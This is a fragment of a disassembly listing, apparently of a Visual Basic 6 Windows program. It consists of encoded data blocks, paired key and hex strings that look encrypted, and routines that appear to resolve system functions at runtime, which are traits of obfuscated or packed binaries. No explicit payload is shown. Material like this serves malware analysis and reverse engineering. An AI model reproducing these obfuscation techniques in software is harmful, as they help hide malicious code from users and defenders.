		dd 450041h, 360043h, 430038h, 390037h, 450045h,	320039h
		dd 350037h, 350044h, 380032h, 420036h, 340041h,	410036h
		dd 350044h, 410038h, 310045h, 360041h, 390038h,	440036h
		dd 420032h, 420038h, 460043h, 320037h, 450039h,	410033h
		dd 370036h, 340038h, 390034h, 350034h, 410034h,	420031h
		dd 300043h, 380044h, 340039h, 410034h, 350043h,	320045h
		dd 330043h, 370045h, 420031h, 440043h, 420044h,	330032h
		dd 380038h, 320041h, 410038h, 300046h, 430032h,	340032h
		dd 360043h, 390034h, 430045h, 390037h, 360035h,	420044h
		dd 310035h, 370032h, 420033h, 340032h, 340046h,	450043h
		dd 350031h, 330032h, 350032h, 340035h, 320036h,	440037h
		dd 440041h, 350030h, 320042h, 370044h, 460033h,	350030h
		dd 330036h, 330041h, 390045h, 460033h, 440039h,	380042h
		dd 300046h, 320038h, 420036h, 350041h, 300042h,	390033h
		dd 380037h, 330043h, 300033h, 350039h, 430030h,	310032h
		dd 380045h, 300045h, 340045h, 410038h, 420042h,	350041h
		dd 350042h, 420038h, 0
		dd 1E8h, 350030h, 440039h, 300037h, 380035h, 360030h, 440031h
		dd 360043h, 300034h, 450042h, 360042h, 340039h,	380037h
		dd 360038h, 350043h, 370032h, 410034h, 380035h,	450044h
		dd 350030h, 320044h, 390045h, 380038h, 420038h,	330039h
		dd 370037h, 370035h, 320031h, 300033h, 460032h,	370044h
		dd 450032h, 450044h, 440044h, 450031h, 380044h,	460044h
		dd 340037h, 360030h, 410039h, 340045h, 460042h,	460034h
		dd 450035h, 370030h, 330031h, 320039h, 430034h,	360034h
		dd 450041h, 360032h, 350036h, 410036h, 460034h,	380030h
		dd 350037h, 370043h, 430030h, 330032h, 360031h,	300046h
		dd 330043h, 340036h, 440034h, 410038h, 330034h,	440038h
		dd 350034h, 370043h, 310046h, 300045h, 440044h,	410037h
		dd 410032h, 390037h, 460037h, 340039h, 340041h,	420045h
		dd 390030h, 460044h, 430030h, 370043h, 370032h,	330042h
		dd 300033h, 430037h, 320039h, 370041h, 340043h,	430043h
		dd 450043h, 320043h, 300038h, 430036h, 420031h,	460044h
		dd 320044h, 370032h, 430041h, 360046h, 420045h,	310033h
		dd 320046h, 450043h, 360036h, 410046h, 340039h,	420036h
		dd 300030h, 300041h, 350043h, 340038h, 380041h,	340031h
		dd 340032h, 390033h, 360044h, 460034h, 300035h,	340036h
		dd 350041h, 410046h, 0
		dd 1Ch,	670063h, 610035h, 310072h, 680075h, 540032h, 6E0073h
		dd 36004Fh, 0
		dd 20h,	320033h, 500042h, 470032h, 450035h, 4D0032h, 420057h
		dd 730044h, 710034h, 0
		dd 14h,	52004Ah, 650038h, 470050h, 4A006Ch, 6F0038h, 0
		dd 1Eh,	550053h, 490051h, 52004Fh, 360070h, 700031h, 450076h
		dd 6E0037h, 30h, 1Eh, 69006Ah, 4B0064h,	4F0032h, 53006Bh
		dd 340057h, 680052h, 6B0074h, 45h, 1Ch,	610031h, 720063h
		dd 51006Bh, 380061h, 4D0059h, 310078h, 300066h,	0
		dd 1Ch,	650032h, 360036h, 4D0034h, 50004Fh, 610073h, 370065h
		dd 36007Ah, 0
		dd 1Eh,	340054h, 4C0054h, 340033h, 37007Ah, 330079h, 470032h
		dd 32006Fh, 4Ch, 20h, 300033h, 340075h,	470047h, 300042h
		dd 310077h, 510048h, 630037h, 45004Fh, 0
		dd 36414256h, 4C4C442Eh, 0
a__vbavarcmpeq	db '__vbaVarCmpEq',0
		align 10h
a__vbavardup	db '__vbaVarDup',0
		dd 1Eh
a78kcis6ry6w9u5:			; DATA XREF: .text:0040F002o
		unicode	0, <78kcis6RY6W9U5V>,0
		dd 0
		dd 1E8h, 330043h, 330039h, 300038h, 380042h, 420035h, 380043h
		dd 320031h, 320033h, 380037h, 430043h, 320037h,	340036h
		dd 430041h, 450031h, 450045h, 410033h, 420041h,	360043h
		dd 360041h, 390035h, 310031h, 380038h, 430044h,	300044h
		dd 390039h, 380031h, 310046h, 360033h, 380031h,	350037h
		dd 390044h, 330036h, 360035h, 300037h, 430045h,	420042h
		dd 350042h, 420035h, 380042h, 360033h, 390042h,	340037h
		dd 330046h, 440041h, 430035h, 410044h, 390034h,	390036h
		dd 2 dup(440038h), 380030h, 460031h, 440045h, 310030h
		dd 370045h, 380042h, 320036h, 310031h, 430037h,	340038h
		dd 450045h, 370042h, 300045h, 350036h, 380042h,	410042h
		dd 340034h, 370038h, 420033h, 300032h, 340037h,	430035h
		dd 390035h, 300044h, 390034h, 370035h, 330030h,	380030h
		dd 330046h, 410041h, 460032h, 310046h, 360044h,	370045h
		dd 310045h, 300044h, 320045h, 430036h, 420031h,	390043h
		dd 430045h, 460035h, 440036h, 310046h, 310032h,	430042h
		dd 360045h, 300041h, 450044h, 460043h, 310031h,	440035h
		dd 330044h, 340036h, 410032h, 420038h, 320046h,	410035h
		dd 460036h, 390034h, 410038h, 320046h, 430034h,	410035h
		dd 370043h, 450036h, 430032h, 330032h, 380038h,	320033h
		dd 390043h, 300041h, 0
		dd 1E8h, 450041h, 320038h, 300031h, 310033h, 340038h, 430045h
		dd 340045h, 410039h, 310037h, 370046h, 320032h,	360032h
		dd 330041h, 440037h, 330043h, 360041h, 370036h,	330032h
		dd 320042h, 390036h, 440038h, 420046h, 370033h,	460041h
		dd 390038h, 330032h, 340030h, 460031h, 380031h,	390036h
		dd 310046h, 310035h, 350030h, 380032h, 440043h,	370038h
		dd 360030h, 430030h, 380033h, 430038h, 450033h,	410031h
		dd 450039h, 410046h, 390031h, 360042h, 350031h,	420038h
		dd 350037h, 360037h, 340039h, 380034h, 380043h,	390033h
		dd 380035h, 420041h, 420031h, 310045h, 360041h,	410036h
		dd 330041h, 320044h, 410036h, 360037h, 390042h,	320039h
		dd 390035h, 390039h, 440045h, 310042h, 340044h,	380036h
		dd 360034h, 330036h, 330033h, 300046h, 370034h,	320042h
		dd 310045h, 360046h, 380041h, 450039h, 330043h,	310046h
		dd 430033h, 360042h, 460044h, 360032h, 430039h,	330045h
		dd 390038h, 410044h, 420035h, 300042h, 450032h,	440030h
		dd 340038h, 460035h, 380031h, 440043h, 370031h,	330034h
		dd 380045h, 380038h, 440046h, 370041h, 310038h,	460030h
		dd 410038h, 340033h, 370035h, 390031h, 460034h,	380041h
		dd 450034h, 370046h, 310044h, 430037h, 440044h,	340036h
		dd 430044h, 370041h, 0
		dd 1E8h, 380044h, 330037h, 350035h, 430037h, 380038h, 350043h
		dd 410030h, 380037h, 350043h, 380037h, 460046h,	390039h
		dd 390032h, 380038h, 360044h, 310035h, 310046h,	300036h
		dd 320042h, 300036h, 330042h, 460046h, 300045h,	320030h
		dd 360036h, 450039h, 340044h, 350037h, 410032h,	360039h
		dd 300041h, 430038h, 410030h, 360045h, 340035h,	300041h
		dd 410042h, 440037h, 350044h, 460038h, 370046h,	460037h
		dd 340033h, 310030h, 300042h, 450037h, 2 dup(330038h)
		dd 370030h, 460045h, 330045h, 360031h, 360042h,	410034h
		dd 330043h, 370046h, 450033h, 420036h, 420031h,	330030h
		dd 390039h, 410035h, 430046h, 420045h, 380033h,	330032h
		dd 300041h, 440037h, 310035h, 360032h, 460037h,	420039h
		dd 440031h, 310043h, 420032h, 320041h, 430033h,	340037h
		dd 430034h, 360030h, 410031h, 310030h, 450034h,	380031h
		dd 430033h, 330036h, 440043h, 410031h, 420043h,	300031h
		dd 350045h, 340043h, 300038h, 310041h, 440041h,	310044h
		dd 390043h, 320046h, 460036h, 330046h, 330038h,	420030h
		dd 360038h, 350036h, 390038h, 460046h, 390035h,	350032h
		dd 320044h, 340044h, 390034h, 360033h, 310037h,	340032h
		dd 420038h, 330046h, 420034h, 380042h, 460041h,	370036h
		dd 300032h, 450043h, 0
		dd 1E8h, 460032h, 420043h, 420037h, 460039h, 430032h, 440044h
		dd 410033h, 370030h, 340036h, 420038h, 320036h,	350042h
		dd 330035h, 320043h, 360046h, 370031h, 310030h,	460041h
		dd 430045h, 390037h, 430043h, 450035h, 330042h,	410044h
		dd 350044h, 370033h, 360043h, 350030h, 420036h,	440039h
		dd 450039h, 370033h, 320044h, 330033h, 410038h,	330033h
		dd 340041h, 420034h, 370042h, 300033h, 330037h,	430032h
		dd 460036h, 430030h, 440046h, 300046h, 420032h,	340030h
		dd 390031h, 430039h, 420036h, 350030h, 430038h,	430041h
		dd 310045h, 430043h, 330045h, 320035h, 340031h,	460035h
		dd 420033h, 440043h, 430039h, 340035h, 340037h,	350041h
		dd 330038h, 450038h, 330034h, 330035h, 410031h,	410044h
		dd 340039h, 350033h, 300032h, 430041h, 370041h,	390046h
		dd 360045h, 450043h, 310032h, 370034h, 390043h,	390041h
		dd 350043h, 370045h, 420036h, 450035h, 450036h,	390032h
		dd 460030h, 330034h, 440036h, 390038h, 410039h,	430038h
		dd 380035h, 330033h, 450036h, 410043h, 340034h,	380043h
		dd 440046h, 430043h, 320044h, 320035h, 390041h,	410038h
		dd 350030h, 440032h, 300038h, 410036h, 340035h,	310036h
		dd 350031h, 390045h, 410041h, 350034h, 350046h,	390037h
		dd 440036h, 450045h, 0
		dd 1E8h, 420038h, 360041h, 410038h, 340043h, 450044h, 450031h
		dd 460030h, 410031h, 370046h, 370033h, 410035h,	350034h
		dd 370043h, 460043h, 420031h, 340043h, 2 dup(370041h)
		dd 370031h, 410032h, 410031h, 460033h, 320043h,	300034h
		dd 320044h, 450035h, 380033h, 440046h, 300030h,	420044h
		dd 390034h, 450031h, 340031h, 390044h, 330043h,	370041h
		dd 310031h, 310034h, 340046h, 450035h, 460034h,	410045h
		dd 350031h, 420032h, 410038h, 370038h, 460036h,	360041h
		dd 350032h, 350042h, 310043h, 430031h, 440033h,	330039h
		dd 370041h, 390034h, 350035h, 300038h, 300031h,	410037h
		dd 310032h, 2 dup(340032h), 310041h, 350039h, 320045h
		dd 380042h, 330030h, 420038h, 390034h, 380042h,	450031h
		dd 390044h, 440033h, 300046h, 420031h, 390044h,	320032h
		dd 390043h, 370045h, 420034h, 330039h, 300044h,	310037h
		dd 380035h, 390032h, 310033h, 430046h, 320037h,	360037h
		dd 340035h, 430033h, 390042h, 450035h, 390042h,	310046h
		dd 380030h, 310031h, 340037h, 430031h, 330044h,	350038h
		dd 320045h, 430043h, 450046h, 350043h, 410044h,	310037h
		dd 460044h, 300030h, 360042h, 300033h, 320044h,	350032h
		dd 360043h, 460030h, 320041h, 430043h, 430035h,	460046h
		dd 320036h, 300039h, 0
		dd 1E8h, 420035h, 440046h, 310039h, 340030h, 380030h, 370035h
		dd 360043h, 330043h, 340039h, 380036h, 410037h,	330039h
		dd 310036h, 450041h, 460045h, 340042h, 460045h,	430043h
		dd 410034h, 340039h, 440037h, 340031h, 460041h,	430045h
		dd 380038h, 420041h, 420038h, 430036h, 320038h,	430043h
		dd 440034h, 310036h, 430030h, 330038h, 460045h,	460031h
		dd 310041h, 340037h, 310044h, 430031h, 320045h,	370037h
		dd 340046h, 460033h, 450036h, 370045h, 340042h,	330045h
		dd 370043h, 410042h, 410041h, 330034h, 420037h,	390030h
		dd 310030h, 420031h, 320032h, 420042h, 380037h,	340032h
		dd 420043h, 330034h, 320033h, 430041h, 450038h,	340041h
		dd 360041h, 460045h, 440032h, 370038h, 370037h,	390037h
		dd 330046h, 430030h, 360036h, 430046h, 380046h,	330043h
		dd 320031h, 420045h, 300038h, 460039h, 380034h,	420044h
		dd 410044h, 340041h, 410043h, 410037h, 420041h,	310041h
		dd 320045h, 360032h, 330041h, 430038h, 390045h,	330042h
		dd 450039h, 300035h, 370034h, 450036h, 460030h,	310030h
		dd 360038h, 380036h, 360035h, 420030h, 320031h,	420037h
		dd 440042h, 320031h, 430046h, 300037h, 460041h,	360037h
		dd 310041h, 310045h, 410041h, 430042h, 380043h,	340038h
		dd 390035h, 370031h, 0
		dd 1E8h, 440039h, 340046h, 440045h, 350034h, 450046h, 380042h
		dd 340037h, 350043h, 350044h, 420039h, 430037h,	300038h
		dd 340044h, 300038h, 390039h, 310031h, 420037h,	430033h
		dd 380044h, 300046h, 460044h, 300035h, 390033h,	330038h
		dd 390045h, 330033h, 300039h, 370044h, 340044h,	300031h
		dd 390045h, 340042h, 330034h, 420044h, 350037h,	430038h
		dd 300034h, 330038h, 380037h, 320039h, 440033h,	450030h
		dd 420044h, 340030h, 380046h, 350043h, 450043h,	320034h
		dd 320044h, 350038h, 440037h, 350036h, 420043h,	460043h
		dd 360037h, 460035h, 380037h, 320033h, 330041h,	320039h
		dd 380034h, 360033h, 370037h, 460045h, 410035h,	310042h
		dd 360042h, 410043h, 430034h, 310044h, 460037h,	390034h
		dd 440037h, 310035h, 440042h, 420038h, 390033h,	390038h
		dd 350045h, 430034h, 430032h, 360046h, 460035h,	380038h
		dd 330031h, 380038h, 420044h, 380030h, 360030h,	330035h
		dd 440032h, 300033h, 430035h, 320039h, 300033h,	370032h
		dd 340031h, 300044h, 440041h, 440039h, 460032h,	370045h
		dd 340043h, 420042h, 310045h, 440045h, 420043h,	300039h
		dd 320033h, 350032h, 420042h, 350035h, 370034h,	450035h
		dd 410039h, 440045h, 370041h, 440041h, 450044h,	350033h
		dd 330043h, 350041h, 0
		dd 1E8h, 360036h, 440042h, 300032h, 330030h, 350033h, 370043h
		dd 390034h, 440035h, 460039h, 360033h, 460046h,	380036h
		dd 440046h, 440037h, 340032h, 300041h, 390039h,	300046h
		dd 330041h, 390031h, 460038h, 420032h, 430041h,	340039h
		dd 300030h, 320045h, 380031h, 320035h, 360033h,	440032h
		dd 340032h, 430045h, 440044h, 410031h, 380044h,	450039h
		dd 340035h, 370045h, 390046h, 370034h, 460030h,	450044h
		dd 440039h, 360032h, 390043h, 320035h, 430036h,	350039h
		dd 390034h, 450037h, 460037h, 430032h, 460038h,	450044h
		dd 310042h, 320035h, 440045h, 390036h, 430037h,	460034h
		dd 310033h, 350039h, 350046h, 300042h, 430045h,	390042h
		dd 320031h, 430042h, 320042h, 320031h, 460036h,	420039h
		dd 370045h, 350032h, 460037h, 300032h, 410030h,	350041h
		dd 350045h, 430046h, 330033h, 330030h, 340035h,	440033h
		dd 450035h, 390046h, 370044h, 410041h, 460034h,	320032h
		dd 420032h, 320045h, 430043h, 440035h, 370039h,	380043h
		dd 360046h, 410031h, 330032h, 420030h, 340044h,	380034h
		dd 340038h, 340044h, 380035h, 370034h, 310031h,	430036h
		dd 300041h, 360038h, 390034h, 460043h, 430041h,	350039h
		dd 410038h, 350036h, 300046h, 450044h, 340032h,	350044h
		dd 460037h, 350045h, 0
a__vbaputowner3	db '__vbaPutOwner3',0
		align 4
a__vbainstrvar	db '__vbaInStrVar',0
		align 4
a__vbavarsub	db '__vbaVarSub',0
a__vbai4var	db '__vbaI4Var',0
		align 4
		unicode	0, < >,0
aBc24719aa57954:			; DATA XREF: .text:0040F00Fo
		unicode	0, <BC24719AA57954F7>,0
		align 8
a__vbafileclose	db '__vbaFileClose',0
		align 4
a__vbagetowner3	db '__vbaGetOwner3',0
		align 4
a__vbafileopen	db '__vbaFileOpen',0
		align 4
a__vbavarcopy	db '__vbaVarCopy',0
		align 4
a__vbastrvarmov	db '__vbaStrVarMove',0
a__vbastrcat	db '__vbaStrCat',0
a__vbalenbstr	db '__vbaLenBstr',0
		align 4
a__vbai4str	db '__vbaI4Str',0
		align 10h
a__vbarecdestru	db '__vbaRecDestruct',0
		align 4
a__vbarecansito	db '__vbaRecAnsiToUni',0
		align 4
a__vbarecunitoa	db '__vbaRecUniToAnsi',0
		align 4
		unicode	0, < >,0
aOi8gef0nadab6b:			; DATA XREF: sub_40E325+318o
		unicode	0, <oI8gEF0NAdAb6BgJ>,0
		align 4
a__vbavarzero	db '__vbaVarZero',0
		align 4
a__vbastrcmp	db '__vbaStrCmp',0
a__vbafreestrli	db '__vbaFreeStrList',0
		align 4
a__vbaerase	db '__vbaErase',0
		align 10h
a__vbastrmove	db '__vbaStrMove',0
		align 10h
a__vbastrcopy	db '__vbaStrCopy',0
		align 10h
		dd 0
a__vbagenerateb	db '__vbaGenerateBoundsError',0
		align 10h
a__vbaaryconstr	db '__vbaAryConstruct2',0
		align 4
a__vbaui1i2	db '__vbaUI1I2',0
		align 10h
a__vbai4errvar	db '__vbaI4ErrVar',0
		align 10h
a__vbastrtounic	db '__vbaStrToUnicode',0
		align 4
a__vbasetsystem	db '__vbaSetSystemError',0
		dd 16h
a03spjxpoxnn:				; DATA XREF: sub_40E325+6B5o
		unicode	0, <03SPjxPoXnN>,0
		align 8
a__vbastrtoansi	db '__vbaStrToAnsi',0
		align 4
a__vbavarmove	db '__vbaVarMove',0
		align 4
a__vbafreevarli	db '__vbaFreeVarList',0
		align 4
a__vbavarcat	db '__vbaVarCat',0
a__vbavar2vec	db '__vbaVar2Vec',0
		align 4
a__vbaarymove	db '__vbaAryMove',0
		align 4
a__vbaredimpres	db '__vbaRedimPreserve',0
		align 4
a__vbaaryunlock	db '__vbaAryUnlock',0
		align 4
a__vbaarylock	db '__vbaAryLock',0
		align 4
a__vbai2i4	db '__vbaI2I4',0
		align 4
a__vbaonerror	db '__vbaOnError',0
		align 4
a__vbaredim	db '__vbaRedim',0
		align 4
a__vbaerrorover	db '__vbaErrorOverflow',0
		align 4
a__vbafreestr	db '__vbaFreeStr',0
		align 4
a__vbaarydestru	db '__vbaAryDestruct',0
		align 4
a__vbaderefary1	db '__vbaDerefAry1',0
		align 4
a__vbavargvarco	db '__vbaVargVarCopy',0
		align 10h
a__vbafixstrcon	db '__vbaFixstrConstruct',0
		align 4
a__vbalbound	db '__vbaLbound',0
a__vbaubound	db '__vbaUbound',0
a__vbafreevar	db '__vbaFreeVar',0
		align 10h
a__vbaaryvarvar	db '__vbaAryVarVarg',0
a__vbaaryvar	db '__vbaAryVar',0
a__vbaarycopy	db '__vbaAryCopy',0
		align 4
		dd 4
asc_408760:				; DATA XREF: sub_40D806+16Ao
		unicode	0, <&H>,0
		align 4
		dd 18h
dword_40876C	dd 920001h, 1, 2 dup(0)		dd 100h, 0
		dd 20h
aB4105bb7318446:			; DATA XREF: sub_40E325+83o
		unicode	0, <B4105BB731844633>,0
		align 4
		unicode	0, < >,0
aP6wh45cv043cq3:			; DATA XREF: sub_40E325+2Eo
		unicode	0, <P6wH45cv043CQ3H6>,0
		align 4
a@_3:
		unicode	0, <@>,0
a3b5bba33c50196:			; DATA XREF: sub_40E325+B4o
		unicode	0, <3B5BBA33C5019624901EF1BF4B43C13D>,0
		align 4
		dd 12h
aWji1cq8s0:				; DATA XREF: sub_40E325+A7o
		unicode	0, <WJi1CQ8s0>,0
		unicode	0, < >,0
a4da55a5ba4177c:			; DATA XREF: sub_40E325+1BCo
		unicode	0, <4DA55A5BA4177C6C>,0
		align 4
		dd 10h
aZti0yhxr:				; DATA XREF: sub_40E325+1AFo
		unicode	0, <Zti0yHXR>,0
		align 4
a4_1:
		unicode	0, <4>,0
aF64d71c23d023d:			; DATA XREF: sub_40E325+1EDo
		unicode	0, <F64D71C23D023D104D8CB1AB26>,0
		align 10h
		dd 1Ah
aJdcxxabemq2lb:				; DATA XREF: sub_40E325+1E0o
		unicode	0, <JdcxxAbemq2lb>,0
		unicode	0, < >,0
a90d8f4e1ff31b7:			; DATA XREF: sub_40E325+325o
		unicode	0, <90D8F4E1FF31B763>,0
		align 4
a0_14:
		unicode	0, <0>,0
a861e877cee016f:			; DATA XREF: sub_40E325+356o
		unicode	0, <861E877CEE016F10F10E13DD>,0
		align 10h
		dd 1Ah
aF9r442gbj489h:				; DATA XREF: sub_40E325+349o
		unicode	0, <F9r442gBj489H>,0
		unicode	0, < >,0
a0255e498be029d:			; DATA XREF: sub_40E325+448o
		unicode	0, <0255E498BE029D7C>,0
		align 4
		dd 1Ch
a9awqe5modvclj3:			; DATA XREF: sub_40E325+43Bo
		unicode	0, <9awqE5moDVclj3>,0
		align 4
a0_15:
		unicode	0, <0>,0
a1edeb7fdc4b8da:			; DATA XREF: sub_40E325+479o
		unicode	0, <1EDEB7FDC4B8DA8CBA5F4512>,0
		align 4
		unicode	0, < >,0
a5uk8nazmmh5k6o:			; DATA XREF: sub_40E325+46Co
		unicode	0, <5uk8nAzMMH5k6ODH>,0
		align 4
		unicode	0, < >,0
off_408A00	dd offset dword_410030	; DATA XREF: sub_40E325+546o
aDbf5a620eb0961:
		unicode	0, <DBF5A620EB0961>,0
		align 4
		dd 16h
aAgi1yfp78le:				; DATA XREF: sub_40E325+539o
		unicode	0, <aGi1yFP78le>,0
a8_2:
		unicode	0, <8>,0
a0b8d12e825793f:			; DATA XREF: sub_40E325+577o
		unicode	0, <0B8D12E825793F7E8B99901F661A>,0
		align 10h
		dd 1Ch
aZc45x39l16oc08:			; DATA XREF: sub_40E325+56Ao
		unicode	0, <zC45X39L16Oc08>,0
		align 4
		unicode	0, < >,0
a750b1e8f1accec:			; DATA XREF: sub_40E325+6C2o
		unicode	0, <750B1E8F1ACCEC4F>,0
		align 4
a4_2:
		unicode	0, <4>,0
a97b17caec49ab7:			; DATA XREF: sub_40E325+6F3o
		unicode	0, <97B17CAEC49AB769A910C73427>,0
		align 4
		dd 1Ah
a5jjxe92ktwfrh:				; DATA XREF: sub_40E325+6E6o
		unicode	0, <5JjxE92kTWfRH>,0
		unicode	0, < >,0
aDc81a966f01098:			; DATA XREF: sub_40E325+832o
		unicode	0, <DC81A966F01098B7>,0
		align 10h
		dd 1Ah
aEx4wuvrkqtq62:				; DATA XREF: sub_40E325+825o
		unicode	0, <ex4wuvRKQTq62>,0
a0_16:
		unicode	0, <0>,0
a5fb7248e5f9d14:			; DATA XREF: sub_40E325+863o
		unicode	0, <5FB7248E5F9D14BCBD7D7F92>,0
		align 4
		dd 18h
aS3u4yxkkfm3p:				; DATA XREF: sub_40E325+856o
		unicode	0, <s3U4yXkkfm3P>,0
		align 4
		unicode	0, <$>,0
off_408BCC	dd offset byte_410042	; DATA XREF: .text:0040EDC3o
a40a7c4f7f129c4:
		unicode	0, <40A7C4F7F129C44E>,0
		align 4
		dd 16h
aH38i5q4gt10:				; DATA XREF: .text:0040EDB6o
		unicode	0, <h38i5q4gT10>,0
		unicode	0, <L>,0
a07e6eb19108c5d:			; DATA XREF: .text:0040EDF4o
		unicode	0, <07E6EB19108C5D271A4E68C46AF0D32D082143>,0
		align 4
		dd 1Ch
aM5i6t02o0qwu2f:			; DATA XREF: .text:0040EDE7o
		unicode	0, <M5i6T02o0QWU2f>,0
		align 4
a__vbafpi4	db '__vbaFpI4',0
		align 4
a4_3:
		unicode	0, <4>,0
aE217fe6beffc6f:			; DATA XREF: .text:0040F040o
		unicode	0, <E217FE6BEFFC6FAE39073AF75D>,0
		align 10h
		dd 14h
aTtov6yukox:				; DATA XREF: .text:0040F033o
		unicode	0, <ttoV6YuKOx>,0
		align 4
		dd 18h
dword_408CF0	dd 920001h, 1, 2 dup(0)		dd 10h,	0
		dd 2000Ch, 2 dup(0)
a__vbastrvarcop	db '__vbaStrVarCopy',0
dword_408D24	dd 2 dup(0FFFFFFFFh)dword_408D2C	dd 0				dd offset dword_401994+4
		dd 0FFFFFFFFh, 0
		dd offset dword_408D24
		dd 3 dup(0)
		dd 0FFFFFFFFh, 0
		align 10h
dword_408D60	dd 0E9E9E9E9h	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D64	proc near		; CODE XREF: sub_4097F2+316p
					; sub_4097F2+51Ep ...

var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_4011A0
		xor	eax, eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_20]
		push	eax
		push	180h
		call	__vbaFixstrConstruct
		mov	esi, [ebp+arg_8]
		mov	edx, [esi]
		lea	ecx, [ebp+var_30]
		call	__vbaAryVarVarg
		push	eax
		push	200Ch
		call	__vbaAryVar
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	__vbaAryCopy
		lea	ecx, [ebp+var_30]
		call	__vbaFreeVar
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408E65
		push	dword ptr [esi]
		mov	[ebp+var_18], eax
		push	1
		call	__vbaUbound
		push	dword ptr [esi]
		mov	[ebp+var_3C], eax
		push	1
		call	__vbaLbound


loc_408DFC:				; CODE XREF: sub_408D64+C2j
		mov	edi, eax
		cmp	edi, [ebp+var_3C]
		jg	short loc_408E28
		push	edi
		push	[ebp+var_1C]
		call	__vbaDerefAry1
		push	edi
		push	dword ptr [esi]
		mov	ebx, eax
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVargVarCopy
		push	1
		pop	eax
		add	eax, edi
		jo	short loc_408E60
		jmp	short loc_408DFC
; ---------------------------------------------------------------------------


loc_408E28:				; CODE XREF: sub_408D64+9Dj
		push	offset loc_408E4C
		jmp	short loc_408E38
; ---------------------------------------------------------------------------


loc_408E2F:				; DATA XREF: .text:004011ACo
		lea	ecx, [ebp+var_30]
		call	__vbaFreeVar
		retn
; ---------------------------------------------------------------------------


loc_408E38:				; CODE XREF: sub_408D64+C9j
					; DATA XREF: .text:004011A8o
		lea	eax, [ebp+var_1C]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_20]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_408E4C:				; DATA XREF: sub_408D64:loc_408E28o
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408E60:				; CODE XREF: sub_408D64+C0j
		call	__vbaErrorOverflow
sub_408D64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E65	proc near		; CODE XREF: sub_408D64+7Bp

var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= dword	ptr -9Ch
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_7C		= dword	ptr -7Ch
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_60		= dword	ptr -60h
var_50		= dword	ptr -50h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0A0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_C], offset dword_4011B0
		xor	esi, esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_24], esi
		mov	[ebp+var_30], esi
		mov	[ebp+var_34], esi
		mov	[ebp+var_38], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_60], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_74], esi
		mov	[ebp+var_84], esi
		lea	eax, [ebp+var_2C]
		push	eax
		push	180h
		call	__vbaFixstrConstruct
		push	esi
		push	esi
		push	1
		push	11h
		push	offset dword_410018
		push	1
		mov	ebx, 80h
		push	ebx
		call	__vbaRedim
		push	esi
		push	esi
		push	1
		push	3
		push	offset dword_410014
		push	4
		push	ebx
		call	__vbaRedim
		add	esp, 38h
		mov	dword_41001C, esi
		mov	edi, [ebp+arg_8]
		push	dword ptr [edi]
		push	1
		call	__vbaUbound
		cmp	eax, 0FFFFFFFFh
		jnz	loc_409044
		or	[ebp+var_1C], eax


loc_408F1A:				; CODE XREF: sub_408E65+233j
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_40]
		push	eax
		call	__vbaStrToAnsi
		push	eax
		call	sub_401C34
		mov	[ebp+var_88], eax
		call	__vbaSetSystemError
		push	[ebp+var_40]
		push	[ebp+arg_0]
		call	__vbaStrToUnicode
		lea	ecx, [ebp+var_40]
		call	__vbaFreeStr
		cmp	[ebp+var_88], esi
		jz	loc_409306
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_40]
		push	eax
		call	__vbaStrToAnsi
		push	eax
		push	[ebp+var_88]
		call	sub_401CD0
		mov	[ebp+var_88], eax
		call	__vbaSetSystemError
		push	[ebp+var_40]
		push	[ebp+arg_4]
		call	__vbaStrToUnicode
		mov	eax, [ebp+var_88]
		mov	dword_41001C, eax
		lea	ecx, [ebp+var_40]
		call	__vbaFreeStr
		cmp	dword_41001C, esi
		jz	loc_409306
